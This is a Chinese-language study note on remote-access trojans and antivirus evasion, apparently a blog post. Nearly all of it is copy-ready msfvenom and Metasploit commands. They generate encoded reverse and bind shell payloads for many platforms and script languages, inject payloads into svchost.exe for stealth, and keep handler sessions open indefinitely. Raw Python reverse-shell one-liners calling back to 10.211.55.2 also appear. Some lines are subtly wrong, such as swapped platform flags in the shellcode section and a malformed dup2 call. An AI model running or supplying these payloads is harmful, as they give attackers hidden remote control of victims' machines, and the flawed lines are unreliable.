> 文章列表 > 远控免杀学习笔记-msfvenom工具介绍(二)

远控免杀学习笔记-msfvenom工具介绍(二)

远控免杀学习笔记-msfvenom工具介绍(二)

目录

目录

监听参数

防⽌假session

防⽌session意外退出

handler后台持续监听 

 payload的可持续

各平台payload⽣成

⼆进制

windows

Linux

Mac

Android

Powershell 

Netcat

Shellcode

基于Linux的Shellcode

基于Windows的Shellcode

基于Mac的Shellcode

脚本

Python反弹shell

Python正向shell

Bash

Perl

Lua

Ruby

PHP

ASPX 

ASP

JSP

WAR

nodejs

Handlers


监听参数

防⽌假session

msf exploit(multi/handler) > set ExitOnSession false 
//可以在接收到seesion后继续监听端口,保持侦听

防⽌session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀
死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听 

msf exploit(multi/handler) > exploit -j -z

使⽤ exploit -j -z 可在后台持续监听,-j为后台任务,-z为成功后不主动发送stage(感谢 Green-m ⼤佬指正),使⽤Jobs命令查看和管理后台任 务。 jobs -K 可结束所有任务。

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

 payload的可持续化

⼀般来说使⽤msfvenom⽣成的payload会单独开启⼀个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使⽤ migrate,其实在⽣成payload时可直接使⽤如下命令,⽣成的payload会直接注⼊到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\\x00" -i 5 -a x86 --
platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe

各平台payload⽣成

⼆进制

windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe

windows下⽣成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使⽤-a x86选项指定。如果 要⽣成64位,则payload为windows/x64/meterpreter/reverse_tcp。

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho

Android

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk

Powershell 

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i
3 -f raw -o shell.ps1

Netcat

nc正向连接

msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe

nc反向连接,监听

msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe

Shellcode

基于Linux的Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c

基于Windows的Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c

基于Mac的Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c

脚本

Python反弹shell

msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

Python正向shell

python/python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec(\\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\\nwhile 1: proc =
subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\\")"

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl

Lua

msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua

Ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\\n' > shell.php && pbpaste >> shell.php

ASPX 

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war

nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js

Handlers

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 10.211.55.2
set LPORT 3333
set ExitOnSession false
exploit -j -z